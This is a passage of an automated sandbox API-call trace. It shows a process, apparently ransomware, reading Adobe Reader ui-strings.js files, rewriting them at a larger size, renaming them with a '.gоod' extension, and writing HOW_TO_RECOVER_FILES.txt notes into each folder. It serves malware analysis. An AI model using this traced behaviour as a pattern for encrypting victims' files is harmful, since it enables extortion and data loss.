(x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\eu-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\eu-es\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0263.901] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb7f0) returned 1 [0263.901] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\eu-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\eu-es\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a4 [0263.902] GetFileType (hFile=0x8a4) returned 0x1 [0263.902] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb760) returned 1 [0263.902] GetFileType (hFile=0x8a4) returned 0x1 [0263.902] GetFileSize (in: hFile=0x8a4, lpFileSizeHigh=0x20beb998 | out: lpFileSizeHigh=0x20beb998*=0x0) returned 0x357 [0263.902] ReadFile (in: hFile=0x8a4, lpBuffer=0x3a6cdc0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20beb8c8, lpOverlapped=0x0 | out: lpBuffer=0x3a6cdc0*, lpNumberOfBytesRead=0x20beb8c8*=0x357, lpOverlapped=0x0) returned 1 [0263.903] CloseHandle (hObject=0x8a4) returned 1 [0263.931] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\eu-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\eu-es\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0263.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb7f0) returned 1 [0263.931] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\eu-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\eu-es\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a4 [0263.932] GetFileType (hFile=0x8a4) returned 0x1 [0263.932] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb760) returned 1 [0263.932] GetFileType (hFile=0x8a4) returned 0x1 [0263.932] WriteFile (in: hFile=0x8a4, lpBuffer=0x3ae54d8*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x20beb7d8, lpOverlapped=0x0 | out: lpBuffer=0x3ae54d8*, lpNumberOfBytesWritten=0x20beb7d8*=0x360, lpOverlapped=0x0) returned 1 [0263.933] CloseHandle (hObject=0x8a4) returned 1 [0263.933] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\eu-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb470, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\eu-es\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0263.933] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\eu-es\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x20beb470, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\eu-es\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x91 [0263.933] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb900) returned 1 [0263.933] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\eu-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\eu-es\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x20beb9e0 | out: lpFileInformation=0x20beb9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x99884247, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x360)) returned 1 [0263.933] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb8c0) returned 1 [0263.933] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\eu-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\eu-es\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\eu-es\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\eu-es\\ui-strings.js.gоod")) returned 1 [0263.935] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\eu-es\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x20beb5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\eu-es\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x97 [0263.935] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb00) returned 1 [0263.935] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\eu-es\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\eu-es\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0264.049] GetFileType (hFile=0x828) returned 0x1 [0264.049] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba70) returned 1 [0264.049] GetFileType (hFile=0x828) returned 0x1 [0264.050] WriteFile (in: hFile=0x828, lpBuffer=0x399fe00*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x20bebbc8, lpOverlapped=0x0 | out: lpBuffer=0x399fe00*, lpNumberOfBytesWritten=0x20bebbc8*=0x5d0, lpOverlapped=0x0) returned 1 [0264.050] CloseHandle (hObject=0x828) returned 1 [0264.050] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb90) returned 1 [0264.050] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fi-fi", nBufferLength=0x105, lpBuffer=0x20beb630, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fi-fi", lpFilePart=0x0) returned 0x7e [0264.050] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fi-fi\\*", lpFindFileData=0x20beb8b0 | out: lpFindFileData=0x20beb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac20 [0264.052] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.052] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x357, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.052] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0264.052] FindClose (in: hFindFile=0x134ac20 | out: hFindFile=0x134ac20) returned 1 [0264.052] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20bebad0) returned 1 [0264.052] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba90) returned 1 [0264.052] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb90) returned 1 [0264.052] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fi-fi", nBufferLength=0x105, lpBuffer=0x20beb630, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fi-fi", lpFilePart=0x0) returned 0x7e [0264.052] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fi-fi\\*", lpFindFileData=0x20beb8b0 | out: lpFindFileData=0x20beb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae60 [0264.052] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.053] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x357, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.053] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x357, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.053] FindClose (in: hFindFile=0x134ae60 | out: hFindFile=0x134ae60) returned 1 [0264.053] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20bebad0) returned 1 [0264.053] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba90) returned 1 [0264.053] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fi-fi\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb470, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fi-fi\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0264.053] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb940) returned 1 [0264.053] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fi-fi\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fi-fi\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x39afe78 | out: lpFileInformation=0x39afe78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x357)) returned 1 [0264.054] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb900) returned 1 [0264.054] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fi-fi\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fi-fi\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0264.054] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb7f0) returned 1 [0264.054] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fi-fi\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fi-fi\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0264.054] GetFileType (hFile=0x828) returned 0x1 [0264.054] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb760) returned 1 [0264.054] GetFileType (hFile=0x828) returned 0x1 [0264.054] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x20beb998 | out: lpFileSizeHigh=0x20beb998*=0x0) returned 0x357 [0264.054] ReadFile (in: hFile=0x828, lpBuffer=0x39b0598, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20beb8c8, lpOverlapped=0x0 | out: lpBuffer=0x39b0598*, lpNumberOfBytesRead=0x20beb8c8*=0x357, lpOverlapped=0x0) returned 1 [0264.055] CloseHandle (hObject=0x828) returned 1 [0264.082] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fi-fi\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fi-fi\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0264.082] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb7f0) returned 1 [0264.082] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fi-fi\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fi-fi\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0264.084] GetFileType (hFile=0x828) returned 0x1 [0264.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb760) returned 1 [0264.084] GetFileType (hFile=0x828) returned 0x1 [0264.084] WriteFile (in: hFile=0x828, lpBuffer=0x3a29e18*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x20beb7d8, lpOverlapped=0x0 | out: lpBuffer=0x3a29e18*, lpNumberOfBytesWritten=0x20beb7d8*=0x360, lpOverlapped=0x0) returned 1 [0264.084] CloseHandle (hObject=0x828) returned 1 [0264.084] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fi-fi\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb470, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fi-fi\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0264.085] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fi-fi\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x20beb470, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fi-fi\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x91 [0264.085] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb900) returned 1 [0264.085] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fi-fi\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fi-fi\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x20beb9e0 | out: lpFileInformation=0x20beb9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x999db73c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x360)) returned 1 [0264.085] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb8c0) returned 1 [0264.085] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fi-fi\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fi-fi\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fi-fi\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fi-fi\\ui-strings.js.gоod")) returned 1 [0264.926] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fi-fi\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x20beb5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fi-fi\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x97 [0264.926] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb00) returned 1 [0264.926] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fi-fi\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fi-fi\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a8 [0264.948] GetFileType (hFile=0x8a8) returned 0x1 [0264.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba70) returned 1 [0264.949] GetFileType (hFile=0x8a8) returned 0x1 [0264.949] WriteFile (in: hFile=0x8a8, lpBuffer=0x38aae98*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x20bebbc8, lpOverlapped=0x0 | out: lpBuffer=0x38aae98*, lpNumberOfBytesWritten=0x20bebbc8*=0x5d0, lpOverlapped=0x0) returned 1 [0264.950] CloseHandle (hObject=0x8a8) returned 1 [0264.950] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb90) returned 1 [0264.950] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-fr", nBufferLength=0x105, lpBuffer=0x20beb630, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-fr", lpFilePart=0x0) returned 0x7e [0264.950] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-fr\\*", lpFindFileData=0x20beb8b0 | out: lpFindFileData=0x20beb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a8c0 [0264.951] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.951] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x358, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.951] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0264.951] FindClose (in: hFindFile=0x134a8c0 | out: hFindFile=0x134a8c0) returned 1 [0264.951] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20bebad0) returned 1 [0264.951] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba90) returned 1 [0264.951] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb90) returned 1 [0264.951] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-fr", nBufferLength=0x105, lpBuffer=0x20beb630, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-fr", lpFilePart=0x0) returned 0x7e [0264.951] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader 